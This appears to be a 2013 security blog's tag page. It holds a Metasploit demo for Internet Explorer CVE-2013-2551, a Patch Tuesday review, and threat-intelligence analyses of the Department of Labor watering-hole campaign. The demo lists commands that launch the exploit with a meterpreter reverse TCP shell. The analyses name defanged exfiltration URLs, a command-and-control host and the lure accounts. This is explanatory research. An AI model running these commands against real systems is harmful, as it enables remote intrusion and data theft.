Posts tagged Internet Explorer

CVE-2013-2551 MS13-037 Internet Explorer Vulnerability Metasploit Demo

37

Timeline :

Vulnerability exploited during Pwn2Own 2013 by VUPEN the 2013-03-07
Vulnerability corrected by vendor the 2013-05-14
Details on the vulnerability provided by VUPEN the 2013-05-22
Metasploit PoC provided the 2013-06-12

PoC provided by :

Nicolas Joly
4B5F5F4B
juan vazquez

Reference(s) :

CVE-2013-2551
OSVDB-91197
MS13-037
BID-58570
VUPEN Advanced Exploitation of Internet Explorer 10 / Windows 8 Overflow (Pwn2Own 2013)

Affected version(s) :

Microsoft Internet Explorer 6 through 10

Tested on Windows 7 Integral with :

Internet Explorer 8
ntdll.dll

Description :

This module exploits an integer overflow vulnerability on Internet Explorer. The vulnerability exists in the handling of the dashstyle.array length for vml shapes on the vgx.dll module. This module has been tested successfully on Windows 7 SP1 with IE8. It uses the the JRE6 to bypass ASLR by default. In addition a target to use an info leak to disclose the ntdll.dll base address is provided. This target requires ntdll.dll v6.1.7601.17514 (the default dll version on a fresh Windows 7 SP1 installation) or ntdll.dll v6.1.7601.17725 (version installed after apply MS12-001).

Commands :

use exploit/windows/browser/ms13_037_svg_dashstyle
set SRVHOST 192.168.178.36
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.178.36
exploit

getuid
sysinfo

Microsoft May 2013 Patch Tuesday Review

2

Microsoft has release, May 14th 2013, during his May Patch Tuesday, two updated security advisories, two new security advisories and ten security bulletins. On the ten security bulletins two of them have a Critical security rating.

Microsoft Security Advisory 2755801

MSA-2755801,released during September 2012, has been updated. The security advisory is regarding updates for vulnerabilities in Adobe Flash Player in Internet Explorer 10. KB2840613 has been released for supported editions of Windows 8, Windows Server 2012, and Windows RT. The update addresses the vulnerabilities described in Adobe Security bulletin APSB13-14.

Microsoft Security Advisory 2820197

MSA-2820197 update includes kill bits to prevent Honeywell Enterprise Buildings Integrator and SymmetrE and ComfortPoint Open Manager ActiveX controls from being run in Internet Explorer.

Microsoft Security Advisory 2846338

MSA-2846338 concern a privately reported security vulnerability, CVE-2013-1303 (9.3 CVSS base score), in Microsoft Malware Protection Engine that could allow remote code execution if the Microsoft Malware Protection Engine scans a specially crafted file. This vulnerability has been publicly disclosed as a denial of service. Only x64-based versions of the Malware Protection Engine are affected.

Microsoft Security Advisory 2847140

MSA-2847140, released May 3rd 2013, has been updated. The security advisory concern Microsoft Internet Explorer 8 remote code execution vulnerability (CVE-2013-1347) used in targeted attacks against United States Department of Labor (DOL) Site Exposure Matrices (SEM) and other websites. Microsoft has issue MS13-038 to address the vulnerability.

MS13-037 Cumulative Security Update for Internet Explorer

MS13-037 security update, classified as Critical, allowing remote code execution, is the fix for 11 privately reported vulnerabilities in Internet Explorer 6, Internet Explorer 7, Internet Explorer 8, Internet Explorer 9, and Internet Explorer 10. CVE-2013-1297 (4.3 CVSS base score) was discovered and privately reported by Yosuke Hasegawa. CVE-2013-0811 (9.3 CVSS base score) was discovered and privately reported by Jose Antonio Vazquez Gonzalez, working with VeriSign iDefense Labs. CVE-2013-1306 (9.3 CVSS base score) and CVE-2013-1309 (9.3 CVSS base score) were discovered and privately reported by SkyLined, working with HP’s Zero Day Initiative. CVE-2013-1307 (9.3 CVSS base score) was discovered and privately reported by Ivan Fratric of the Google Security Team. CVE-2013-1308 (9.3 CVSS base score) was discovered and privately reported by Aniway.Anyway@gmail.com, working with HP’s Zero Day Initiative. CVE-2013-1310 (9.3 CVSS base score) was discovered and privately reported by Yuhong Bao. CVE-2013-1311 (9.3 CVSS base score) was discovered and privately reported by Scott Bell of Security-Assessment.com. CVE-2013-1312 (9.3 CVSS base score) was discovered and privately reported by Stephen Fewer of Harmony Security. CVE-2013-1313 (9.3 CVSS base score) was discovered and privately reported by VUPEN Security (Pwn2Own 2013), working with HP’s Zero Day Initiative.

MS13-038 Security Update for Internet Explorer

MS13-038 security update, classified as Critical, allowing remote code execution, is the fix for one publicly disclosed vulnerability in Internet Explorer 8. CVE-2013-1347 (9.3 CVSS base score), was discovered exploited in the wild in targeted attacks.

MS13-039 Vulnerability in HTTP.sys Could Allow Denial of Service

MS13-039 security update, classified as Important, allowing denial of service, is the fix for one privately reported vulnerability in Microsoft Windows. CVE-2013-1305 (5.0 CVSS base score) was discovered and privately reported by Marek Kroemeke, 22733db72ab3ed94b5f8a1ffcde850251fe6f466, AKAT-1, working with HP’s Zero Day Initiative.

MS13-040 Vulnerabilities in .NET Framework Could Allow Spoofing

MS13-040 security update, classified as Important, allowing spoofing, is the fix for one privately reported vulnerability and one publicly disclosed vulnerability in .NET Framework. CVE-2013-1336 (5.0 CVSS base score) was discovered and privately reported by James Forshaw of Context Information Security. CVE-2013-1337 (7.5 CVSS base score) was publicly disclosed.

MS13-041 Vulnerability in Lync Could Allow Remote Code Execution

MS13-041 security update, classified as Important, allowing remote code execution, is the fix for one privately reported vulnerability in Microsoft Lync. CVE-2013-1302 (9.3 CVSS base score) was discovered and privately reported.

MS13-042 Vulnerabilities in Microsoft Publisher Could Allow Remote Code Execution

MS13-042 security update, classified as Important, allowing remote code execution, is the fix for 11 privately reported vulnerabilities in Microsoft Office. CVE-2013-1316 (9.3 CVSS base score), CVE-2013-1317 (9.3 CVSS base score), CVE-2013-1318 (10.0 CVSS base score), CVE-2013-1319 (10.0 CVSS base score), CVE-2013-1320 (10.0 CVSS base score), CVE-2013-1321 (9.3 CVSS base score), CVE-2013-1322 (10.0 CVSS base score), CVE-2013-1323 (9.3 CVSS base score), CVE-2013-1327 (9.3 CVSS base score), CVE-2013-1328 (9.3 CVSS base score) and CVE-2013-1329 (9.3 CVSS base score) were discovered and privately reported by Will Dormann of the CERT/CC.

MS13-043 Vulnerability in Microsoft Word Could Allow Remote Code Execution

MS13-043 security update, classified as Important, allowing remote code execution, is the fix for one privately reported vulnerability in Microsoft Office. CVE-2013-1335 (9.3 CVSS base score) was discovered and privately reported by Will Dormann of the CERT/CC.

MS13-044 Vulnerability in Microsoft Visio Could Allow Information Disclosure

MS13-044 security update, classified as Important, allowing information disclosure, is the fix for one privately reported vulnerability in Microsoft Office. CVE-2013-1301 (4.3 CVSS base score) was discovered and privately reported by Timur Yunusov of Positive Technologies.

MS13-045 Vulnerability in Windows Essentials Could Allow Information Disclosure

MS13-045 security update, classified as Important, allowing information disclosure, is the fix for one privately reported vulnerability in Windows Essentials. CVE-2013-0096 (6.8 CVSS base score) was discovered and privately reported by Andrea Micalizzi, working with Beyond Security’s SecuriTeam Secure Disclosure team.

MS13-046 Vulnerabilities in Kernel-Mode Drivers Could Allow Elevation Of Privilege

MS13-046 security update, classified as Important, allowing elevation of privilege, is the fix for three privately reported vulnerabilities in Microsoft Windows. CVE-2013-1332 (7.2 CVSS base score) was discovered and privately reported by Gynvael Coldwind and Mateusz “j00ru” Jurczyk of Google Inc. CVE-2013-1333 (7.2 CVSS base score) was discovered and privately reported by Qihoo 360 Security Center. CVE-2013-1334 (7.2 CVSS base score) was discovered and privately reported by an anonymous researcher, working with the iDefense VCP.

DOL Watering Hole Campaign and Sexy Swedish Soccer Supporter

29

As I explained in my previous blog post, nine websites were involved in the DOL watering hole campaign. The first involved website was University Research Co. Cambodia (www[.]urccambodia[.]org) from 2013-03-15 to 2013-04-29. This website came out of the context of other websites used in this watering hole campaign.

The Better Health Services (BHS) is a USAID-funded health systems strengthening project in Cambodia that began in January 2009 and runs through December 2013. The BHS project’s goals dovetail with the mission of the Ministry of Health as stated in the Cambodian Health Strategic Plan 2008-2015 (HSP2) “to provide stewardship for the entire health sector and to ensure a supportive environment for increased demand and equitable access to quality health services in order that all the peoples of Cambodia are able to achieve the highest level of health and well-being.”

By continuing my researches on the gathered information’s found on dol[.]ns01[.]us backend and focusing on all information’s related to University Research Co. Cambodia website, I found some interesting behaviours.

In all the gathered information’s I firstly found a connection referer to www[.]urccambodia[.]org, this referer was a shortened URL http://t[.]co/RnWc0Z13Sc. Doing a google research on this shortened URL we can find a tweet from @natividad_usaid, dating from 2013-03-18.

natividad_usaid-1

If you observe @natividad_usaid, you will see that the account activity has begun the March 18th and finished the April 10th. Mostly all of the tweet have provide link to www[.]urccambodia[.]org, during the time of this website infection. Some twitter users were directly contacted in order to incite them to click to the link and most of these users were related to USAID (US Agency for International Development).

natividad_usaid-2

 

natividad_usaid-5

natividad_usaid-4

But most interesting is the profile description of this account and especially the shortened URL goo[.]gl/kpb7r how lead to “this is my pic.scr” file hosted on Dropbox. By analyzing this file it appear that it is Poison Ivy (504a32e123194a298018129404a1374e).

natividad_usaid-profile

dropbox-poisonivy

A malwr analysis of this sample reveal that “microsoftUpdate[.]ns1[.]name” is the contacted C&C server and that “conime.exe” file is also created. This C&C server is the same as mentioned by Crowdstrike, AlienVault and other security researchers or vendors, but from “bookmark.png” payload involved in Internet Explorer 8 0day (CVE-2013-1347).

It seem that this twitter account was only created and used to incite USAID twitter users to be infected through a www[.]urccambodia[.]org visit.

By continuing to analyze www[.]urccambodia[.]org related gathered information’s, I found a second connection referer to www[.]urccambodia[.]org. This referer is the Facebook profile of Kelly Black “http://www.facebook.com/kelly.black.92754“.

This sexy lady, posing with a friend, pretend to have work for USAID, to have study at UVA College of Arts & Sciences Alumni, to live in Washington, District of Columbia and to be from Springfield, Illinois.

kelly-black-facebook-1

Kelly Black account activity has start and stopped the same day, the March 24th. Most of the posts of this “lady” are link to infected www[.]urccambodia[.]org website and/or to project around sanitation of Mekong waters organized by US organization’s.

kelly-black-facebook-2

kelly-black-facebook-3

kelly-black-facebook-4

kelly-black-facebook-5kelly-black-facebook-5

This sexy lady has, in one day of activity, 41 friends and most of these friends are from USAID or from others organization’s.

Now the funny part of the story, on the picture you can see two beautiful women with a yellow T-shirt and they seem to enjoy the live. One of the friends of Kelly Black was interesting to know which of the two she was, and the “bad guys” toke the time to respond to him :)

kelly-black-facebook-6

But I was intrigued by this picture and decided to compare this one on Internet, and ho miracle these ladies are not US women from Springfield, Illinois, but Swedish supporters who were photographed during European soccer cup in Poland/Ukraine.

You can find this photo through TinEye or Google pictures comparison services. This photo is present on different medias, ActionPlus, DailyMail and bunch of other websites.

Department of Labor Watering Hole Campaign Review

25

On April 30th, the watering hole campaign was published on a private mailing list and the May 1st, Invicia and AlienVault publicly reported, with technical details, that United States Department of Labor (DOL) Site Exposure Matrices (SEM) website had been compromised and was hosting malicious code. This malicious code was used in watering hole attack targeting at first employees of US Dept of Energy that work in nuclear weapons programs. This malicious code was also used to gather information’s on the visitors of the compromised website.

The exploit used in this campaign was firstly reported as CVE-2012-4792, an Internet Explorer 0day used in December 2012 in CFR.org watering hole campaign and patched by Microsoft in January 2013. Despite the patch release some forks of this exploit were still used in targeted attacks against political parties, political dissidents, online medias and human right activists.

Two days later, FireEyeInvicia and AlienVault concluded that the vulnerability targeted during this attack campaign was not CVE-2012-4792 as they originally reported but a new Internet Explorer 8 vulnerability identified as CVE-2013-1347. This turnaround had unfortunately occur to late. Casual attacker, chaotic actors, organized crime and potentially other states involved in sponsored espionage had the opportunity to study the attack and recover the evidences.

Microsoft has acknowledge the vulnerability in a Microsoft Security Advisory published on May 3rd and identified as MSA-2847140 and has provide a “Fix it” solution to mitigate Internet Explorer 8 vulnerability.

Also, Adobe has announce through APSA13-03 that a critical vulnerability (CVE-2013-3336) is actually exploited against ColdFusion. This vulnerability could permit an unauthorized user to remotely retrieve files stored on the server, through “CFIDE/administrator“, “CFIDE/adminapi” and “CFIDE/gettingstarted*” directories. Adobe ColdFusion is used by DOL and this vulnerability has surely be used in order to compromise the server.

Possible Causes of Confusion between CVE-2012-4792 and CVE-2013-1347

Confusions with CVE-2012-4792 was possible due to similarities in used code and technics:

Usage of widely used JavaScript functions and variables

function getCookieVal(offset)“, widely used, is also present in original CVE-2012-4792 exploit and other forks.
function GetCookie(name)“, widely used,  is also present in original CVE-2012-4792 exploit and other forks.
function SetCookie(name,value)“, widely used, is also present in original CVE-2012-4792 exploit and other forks.
var ua = window.navigator.userAgent.toLowerCase()“, widely used, is also present in original CVE-2012-4792 exploit and other forks.

Usage of particular JavaScript functions also present in previous watering hole campaigns

function DisplayInfo()” also seen in CVE-2012-4792 & CVE-2011-0611 exploits.
function download()” & “function callback()” also seen in CVE-2012-4792 exploit.

Usage of Ajax XMLHttpRequest

This JavaScript object is used to download “bookmark.png” file and was also used to download  ”xsainfo.jpg” file in CVE-2012-4792.

Similarities in the JavaScript code structure

If you compare the original CVE-2012-4792 JavaScript code and Exodus Intel fork, with this new exploit, the code structure is very similar in many aspects.

Usage of HTML+TIME technic

HTML+TIME, which is based on the Synchronized Multimedia Integration Language (SMIL), was also used in certain CVE-2012-4792. This technic was explained by Exodus Intel beginning January 2013.

Target selection

Parts of the code targets only Windows XP, Internet Explorer 8 and certain languages, like CVE-2012-4792.

Differences between CVE-2012-4792 and CVE-2013-1347, and Particularities

Some new particularities were present in the exploit and associated watering hole campaign:

Usage of PHP files

All previous watering hole attacks have use HTML or JavaScript files. PHP usage naturally limit the number of potential servers who could be used to start the exploitation and spread the malware. This approach increasingly the technic used by Exploit Kits, maybe a source of inspiration and effectiveness for states involved in sponsored espionage.

Usage of Base64 obfuscation

Obfuscation with base64 encoding (“base64.js” file) was used to hide parts of the exploit. CVE-2012-4792 was using “robots.txt” obfuscated with substitutions and HEX encoding.

Use-After-Free type

As mentioned by sinn3r of Metasploit team, CVE-2012-4792 was a CButton object use-after-free and CVE-2013-1347 is a CGenericElement object use-after-free.

dol[.]ns01[.]us Exploit Hosting Domain Evolutions

Invicia and AlienVault have report that the browser was redirected to the content hosted at dol[.]ns01[.]us which lead to the infection. A urlQuery, of 2013-05-01, is mentioned and refer to dol[.]ns01[.]us on port 8081/TCP. One hit related to the information gathering script is mentioning a last modified date of Thu, 14 Mar 2013 20:06:36 GMT. You can also observe in the executed JavaScript that the hxxp://dol[.]ns01[.]us:8081/web/js.php and hxxp://dol[.]ns01[.]us:8081/web/css.js URL’s are present in the code.

96.44.136.115-3

But if you take a look to a previous urlQuery report of 2013-04-29, hxxp://96[.]44[.]136[.]115/web/js.php, hxxp://96[.]44[.]136[.]115/web/css.js and hxxp:///web/xss.php are mentioned and coded in the executed JavaScript. 96[.]44[.]136[.]115 IP address is mentioned by AlienVault as the IP address behind dol[.]ns01[.]us. As you can see no specific destination port is present and the last modified date is the same. So we can conclude that the guys behind this campaign have change the malicious code during this interval.

urlquery-dol-1

You can observe this evolution with the urlQuery submission of 2013-04-30.

urlquery-2

All these urlQuery submission’s were done with a non Internet Explorer 8 user agent, and as the exploit malicious code was designed to only target Windows XP and Internet Explorer 8, part of the redirection were not present as evidences.

If you observe “/scripts/textsize.js” JavaScript code hosted on DOL website, you can see a first JavaScript inclusion to “hxxp://dol[.]ns01[.]us:8081/web/xss.php” and a second one to “hxxp://dol[.]ns01[.]us:8081/update/index.php“.

The first inclusion “/web/xss.php” was used in order to gather information’s on the DOL website visitors and the second inclusion “/update/index.php” was used to start the exploitation of CVE-2013-1347.

Information Gathering Scripts

As described by AlienVault, the information gathering code “/web/xss.php” on dol[.]ns01[.]us use different JavaScript functions to collect information’s from the system and upload the result to the malicious server.

I found that the information’s gathering script was different depending on the used browser. Here under a description of the JavaScript functions involved in information’s gathering depending on used browsers.

[table "22" not found /]

Also a specific information gathering technic was triggered when Internet Explorer was used. This technic is related to a non patched vulnerability in Internet Explorer 8, discovered by NSFOCUS and reported to Microsoft in 2011. The vulnerability could allow user information and even local file content leakage if a user views a specially crafted webpage using Internet Explorer.

SA2012-02

Once all information’s gathered, the script send all data’s on a specific URL “hxxp://dol[.]ns01[.]us:8081/web/js.php” and also call “hxxp://dol[.]ns01[.]us:8081/web/css.js” when the information’s are collected.

infogath-inclusions

infogath-js

An interesting information regarding “/web/css.js“, is that the “Last Modified” date reported by “dol[.]ns01[.]us” server is Thu, 14 Mar 2013 20:06:36 GMT. This is reporting that the information gathering infrastructure was in place since mid-March minimum.

dol.ns01.us-8081-1

Interesting facts regarding these information gathering scripts are:

  • Scripts “xss.php“, “js.php” & “css.js” have move from IP 96[.]44[.]136[.]115 on port 80/TCP to domain dol[.]ns01[.]us port 8081/TCP. Move from port 80/TCP to 8081/TCP doesn’t seem to be logic, most of time outgoing connexion’s authorized on Firewalls, for corporate Web surfing, are 80/TCP and 443/TCP.
  • Different types of information gathering scripts were in place, and all users who have visit DOL website were affected by this information gathering campaign.
  • Usage of a specific information leakage vulnerability present in Internet Explorer 8 and not fixed by Microsoft.
  • BitDefender 2012 deactivation attempt is confusing. Why trying to deactivate an anti-virus, this will surely generate an alert.
Information Gathered on dol[.]ns01[.]us

As described in the previous chapter, the information gathering code send a lot of information’s to the backend. Hopefully for security researchers, the backend wasn’t very well protected and all collected information’s were accessible without any restrictions in different web folders. You can find here under some statistics related to the gathered information’s.

TOP-10-TARGETED-COUNTRIES

Complete geolocation of the targeted source IPs

GEO-LOCALISATION

By analyzing the information’s sent to the backend, we can also see that DOL (www.sem.dol.gov) wasn’t the only compromised website:

  • From 2013-03-15 to 2013-04-29 : University Research Co. Cambodia website (www.urccambodia.org) was the first target .This explain the high number of distinct IP addresses from Cambodia.
  • From 2013-04-08 to 2013-04-24 : Awards for Excellence in Education website (www.forexcellenceineducation.org), a program of Fraser Institute, was the second target.
  • From 2013-04-08 to 2013-04-24 : ElectionGuide website (www.electionguide.org), provided by the International Foundation for Electoral Systems (IFES), was the third target.
  • From 2013-04-09 to 2013-04-30 : French Institute of International Relations website (www.ifri.org), was the fourth target.
  • From 2013-04-09 to 2013-04-24 : The Working for America Institute website (www.workingforamerica.org), was the fifth target.
  • From 2013-04-09 to 2013-04-10 : The Project 2049 Institute website (www.project2049.net), was the sixth target.
  • From 2013-04-10 to 2013-04-10 : The Union Label and Service Trades Department website (www.unionlabel.org), was the seventh target.
  • From 2013-04-11 to 2013-04-30 : Thales Catalogue website (components-subsystems.thales-catalogue.com), was the eighth target.
  • From 2013-04-23 to 2013-05-01 : United States Department of Labor (DOL) Site Exposure Matrices (SEM) website (www.sem.dol.gov), was the ninth target.

Here under the hits by browsers and Internet Explorer 8 hits by OS.

Hits-by-Browsers

IE8-Hits-os2

Others Information’s Gathered

As you have read in the previous chapter, ElectionGuide website (www.electionguide.org) was also targeted during this watering hole campaign. As you can see in the following urlQuery submission, dating from 2013-05-01, 96[.]44[.]136[.]115 is also present but don’t respond any more. Also if you observe the urlQuery submission of 2013-05-0396[.]44[.]136[.]115 is still present, but a new backend server has been setup in order replace the once deactivated.

electionguide-both

electionguide-info-gath-inclusions

If you observe the “Last Modified” date of “css.js” file, the installation date of these files is at least the 2013-05-03.

electionguide-css

Also, by researching some patterns matching the information’s gathering script on Google you can find some previous unknown campaigns, that were using the same code.

56go-google

56go-google-cache

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